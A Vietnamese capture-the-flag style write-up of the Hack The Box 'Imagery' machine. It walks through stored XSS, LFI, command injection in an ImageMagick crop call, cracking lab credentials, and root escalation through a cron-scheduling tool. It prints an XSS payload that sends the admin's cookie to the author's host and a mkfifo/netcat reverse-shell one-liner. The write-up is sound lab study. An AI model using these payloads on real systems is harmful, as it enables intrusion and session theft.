# [Write-up] Hack The Box - Imagery ## Giới thiệu Imagery là một machine thuộc session 9 của Hack The Box. Machine này là machine linux và có độ khó là **medium**. ## Chuẩn bị Trước tiên để tiện cho về sau thì mình sẽ gán hostname luôn cho IP của machine nhé ![image](https://hackmd.io/_uploads/r1zoNy4Tlg.png) Ping lại để kiểm tra nhé, không hiếm lần mình ngồi scan mãi không thấy gì vì VPN lỏ rồi :saluting_face: ![image](https://hackmd.io/_uploads/HJDTVJ4Tgg.png) Với các machine thế này thì khả năng sẽ có web service nên bật sẵn cái browser có proxy và BurpSuite lên luôn nhé. Oke chuẩn bị xong ròi giờ bắt đầu thôi! ## Quét everything Đầu tiên ta sẽ scan domain xem có port nào, ở đây để nhanh thì mình dùng `rustscan` `rustcan -a imagery.htb -r 1-65535 -- -A` ```bash= ORT STATE SERVICE REASON VERSION 22/tcp open ssh syn-ack ttl 63 OpenSSH 9.7p1 Ubuntu 7ubuntu4.3 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 256 35:94:fb:70:36:1a:26:3c:a8:3c:5a:5a:e4:fb:8c:18 (ECDSA) | ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBKyy0U7qSOOyGqKW/mnTdFIj9zkAcvMCMWnEhOoQFWUYio6eiBlaFBjhhHuM8hEM0tbeqFbnkQ+6SFDQw6VjP+E= | 256 c2:52:7c:42:61:ce:97:9d:12:d5:01:1c:ba:68:0f:fa (ED25519) |_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIBleYkGyL8P6lEEXf1+1feCllblPfSRHnQ9znOKhcnNM 8000/tcp open http syn-ack ttl 63 Werkzeug httpd 3.1.3 (Python 3.12.7) | http-methods: |_ Supported Methods: GET OPTIONS HEAD |_http-title: Image Gallery |_http-server-header: Werkzeug/3.1.3 Python/3.12.7 ``` Okay giờ ta đã có 1 web service hoạt động ở port 8000, sử dụng Werkzeug. Và đương nhiên như mọi machine thì ta cũng có 1 ssh ở port 22 nhưng phiên bản OpenSSH kia ko có bất cứ vấn đề gì nên ta sẽ tập trung vào web trước Giờ thì thử dùng `dirsearch` để scan directory ```bash= Target: http://imagery.htb:8000/ [09:36:12] Starting: [09:37:16] 401 - 59B - /images [09:37:23] 405 - 153B - /login [09:37:24] 405 - 153B - /logout [09:37:49] 405 - 153B - /register [09:38:03] 401 - 32B - /uploads/affwp-debug.log [09:38:04] 401 - 32B - /uploads/dump.sql ``` Không có gì lắm Trong lúc `dirsearch` làm việc thì ta cũng tranh thủ tìm hiểu qua về web. **Imagery** là website cho phép ta tải lên và lưu trữ ảnh, có vẻ sẽ có lỗi gì đó liên quan đến file upload. ![image](https://hackmd.io/_uploads/HJCJqyV6le.png) Nhìn qua về tính năng upload ảnh, dễ thấy dev đang mong muốn chỉ upload đúng loại file được yêu cầu. ![image](https://hackmd.io/_uploads/Sy41sJV6xl.png) Ta thử upload lên trước 1 file `.png` xem sao ![image](https://hackmd.io/_uploads/HJb7syNTee.png) Sau khi upload file lên, ta có thể vào site `Gallery` để xem ảnh của mình vừa upload. Có 1 số tính năng bị mờ đi ta không thể sử dụng ![image](https://hackmd.io/_uploads/r1Hw3SHpge.png) Giờ mình sẽ quay lại với file upload và nghịch 1 chút với tính năng này ![image](https://hackmd.io/_uploads/H1e8sy4plg.png) ![image](https://hackmd.io/_uploads/SJ2ni1Vale.png) ![image](https://hackmd.io/_uploads/HkZta1E6xg.png) ![image](https://hackmd.io/_uploads/SJ-HT1VTle.png) Rõ ràng qua chút thử nghiệm này, ta thấy rằng ít nhất tạm thời ta chưa thể khai thác tính năng này Tiếp tục tìm quanh ta thấy thêm 1 tính năng chỉ hiển thị ở phần footer của web ![image](https://hackmd.io/_uploads/HJs02yEpxg.png) Điền thử và bắt request ![image](https://hackmd.io/_uploads/BJ40TyV6gx.png) Thú vị này! Nếu như làm lab/machine đủ nhiều thì đây là dấu hiệu cho việc sẽ có ai đó thực thi link hoặc payload của bạn với role admin. Đóng ngay cho cho mình 1 con payload XSS. ```html= <img src/onerror="new Image().src='http://{t6dip}:8000/?='+encodeURIComponent(document.cookie)"> ``` Gửi lại request và bật `http.server` lên để hóng ![image](https://hackmd.io/_uploads/ByzqygE6xl.png) +1 cookie cho t6d. Dùng cookie này để login nào ## Với role Admin Với role admin, ta có thêm 1 panel riêng có log của các user, các summitted bug reports ![image](https://hackmd.io/_uploads/ryktlgEplg.png) Với log của testUser thì ko xem được nên ta xem của admin thôi ![image](https://hackmd.io/_uploads/ry_rXxEplg.png) Ờm... cũng không đáng xem lắm. Nhưng mà từ đã, xem thử request lấy file này thế nào nhé ![image](https://hackmd.io/_uploads/BkP2XgEaeg.png) Có mùi LFI, thử ngay ![image](https://hackmd.io/_uploads/HJfyEgNpgl.png) Chuẩn luôn. Mình đã thử lướt qua 1 số file system rồi log mà nó đều có permission hết, nên ta quay lại đọc codebase. Ngay từ đầu ta cũng có scan ra là web server sử dụng `Werkzeug`. Với `Werkzeug` thì theo kinh nghiệm của mình thì mình sẽ lần từ file `app.py` trước. ![image](https://hackmd.io/_uploads/HymtElN6lx.png) ```python= from flask import Flask, render_template import os import sys from datetime import datetime from config import * from utils import _load_data, _save_data from utils import * from api_auth import bp_auth from api_upload import bp_upload from api_manage import bp_manage from api_edit import bp_edit from api_admin import bp_admin from api_misc import bp_misc ``` Ta rõ ràng thấy app.py import 1 loại các modules, giờ nhiệm vụ của ta là tìm đọc không bỏ sót gì Oke tóm tắt quá trình đọc, sau khi đọc file `config.py` ta tìm được `db.json` ```python= DATA_STORE_PATH = 'db.json' UPLOAD_FOLDER = 'uploads' SYSTEM_LOG_FOLDER = 'system_logs' ``` Tiếp tục đọc `db.json` ```jsonld= { "username": "testuser@imagery.htb", "password": "2c65c8d7bfbca32a3ed42596192384f6", "isAdmin": false, "displayId": "e5f6g7h8", "login_attempts": 0, "isTestuser": true, "failed_login_attempts": 0, "locked_until": null } ``` Crack hash với `CrackStaion` ta có credential `testuser@imagery.htb:iambatman` Login với cred này và xem có gì đặc biệt. ![image](https://hackmd.io/_uploads/HyaEaBSpeg.png) Nếu thử upload lại và vào xem thì ta thấy các tính năng thử nghiệm đã được bật lên, thử 1 tính năng xem sao. Ở đây mình sẽ thử crop ảnh vào xem trong Burp có gì nào ![image](https://hackmd.io/_uploads/rJXkRBHTex.png) Mọi thứ có vẻ bình thường nhỉ. NHƯNG ... bạn đã xem hết các modules trong codebase chưa? Nếu bạn đã đọc kỹ `api_edit.py` thì bạn sẽ thấy đoạn này: ```python= if transform_type == 'crop': x = str(params.get('x')) y = str(params.get('y')) width = str(params.get('width')) height = str(params.get('height')) command = f"{IMAGEMAGICK_CONVERT_PATH} {original_filepath} -crop {width}x{height}+{x}+{y} {output_filepath}" subprocess.run(command, capture_output=True, text=True, shell=True, check=True) ``` Còn đây là trích đoạn trong Python Documentaion: ![image](https://hackmd.io/_uploads/BJ1M1US6el.png) Như vậy rõ ràng ta +1 **Command Injection**. Nhưng trước khi đi tiếp, dành cho các bạn lười đọc source code thì bạn có thể dùng 1 tool audit source nào đó. Ở đây mình dùng `semgrep`, có nhiều tool tốt hơn nhưng mình dùng cơ bạn thôi còn chủ yếu vẫn tự đọc. ![image](https://hackmd.io/_uploads/Syame8STgg.png) Tiếp tục, ta viết thẳng reverse shell và ta da ![image](https://hackmd.io/_uploads/Hy_KfIrall.png) ## Flag đầu tiên Sau khi đã có shell rồi mình spawm tty cho tiện sử dụng luôn ```bash= python3 -c 'import pty;pty.spawn("/bin/bash")' export TERM=xterm Ctrl + Z stty raw -echo; fg ``` Giờ mình sẽ xem qua xem ta có gì nhé ![image](https://hackmd.io/_uploads/B1zoQLBpgg.png) Ta thấy có cronjob kìa, ngó tí file đó xem có thể làm gì được không ![image](https://hackmd.io/_uploads/Bk8MN8H6ee.png) Không ăn thua, đành phải lục lọi tiếp. Nếu may mắn thì có thể tìm thấy 1 file trong `/var/backup` ![image](https://hackmd.io/_uploads/rypsEUHpxe.png) Nhưng mà nó có đuôi `.aes`, tức là giờ ta cần kiếm crack cái file này. Thử xem thêm thông tin về file này, để tiện thì mình tải luôn :)) ![image](https://hackmd.io/_uploads/HkUxLLr6xg.png) Oke `pyAesCrypt 6.1.1` là 1 module của python, anh em có thể dùng lại module để viết cái script brute-force và decrypt file nhé. Đoạn này mình cũng chatbot thôi :)) Sau khi đã unzip được file ra, ta lại check `db.json` ![image](https://hackmd.io/_uploads/SyWa_8r6le.png) Và tình cờ là: ![image](https://hackmd.io/_uploads/Sk-gtIB6ge.png) Lại crack hash đó ta được cred `mark:supersmash`. `su mark` là xong ![image](https://hackmd.io/_uploads/ByqghIHpgx.png) Vậy là ta đã có flag đầu tiên ![image](https://hackmd.io/_uploads/SkZNhIHage.png) ## Flag pro max Giờ mới role `mark` ta lại check và thấy cái này ![image](https://hackmd.io/_uploads/SkB508Hple.png) Kiểm tra xem có edit được không đã ![image](https://hackmd.io/_uploads/r10308r6xg.png) Không được rồi, vậy thử dùng xem nó có cái gì ![image](https://hackmd.io/_uploads/rJWQJwBage.png) Wait what :)) Cơ mà ![image](https://hackmd.io/_uploads/rJI8JvrTge.png) Thử `help` thì ta lại đào được vàng ![image](https://hackmd.io/_uploads/S1b51PSpex.png) Nó cho phép dùng cred của mark để reset ![image](https://hackmd.io/_uploads/HyEaJwB6xe.png) Khi vào đươc shell thì nó đúng nghĩa là interactive shell, dùng `help` lần nữa thì ta lại chú ý tới 1 option lạ ![image](https://hackmd.io/_uploads/BJ2SxwH6xe.png) Theo mình hiểu thì nó sẽ gắn cronjob với quyền `root`, đơn giản rồi đấy, làm theo cú pháp, ta có: ```bash= auto add --schedule "* * * * *" --command "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc {myip} 4321 >/tmp/f" --name "priv" ``` Giờ thì mở `netcat` để nghe và chờ đợi kết quả thoi hihi ![image](https://hackmd.io/_uploads/BJbIbwr6eg.png) ## Bài học - Đôi khi có nhiều tính năng được dev để ở chỗ khá "khó nhìn" hoặc để ẩn, quan sát thật kỹ - Nếu có cơ hội đọc được codebase, đọc hết đừng để sót thứ gì - Nếu đã có shell, đừng ngại lướt qua hết 1 lượt các directory. - Đôi khi file backup cũ thường chứa những lỗi lầm mà dev muốn giấu - Đọc help tử tế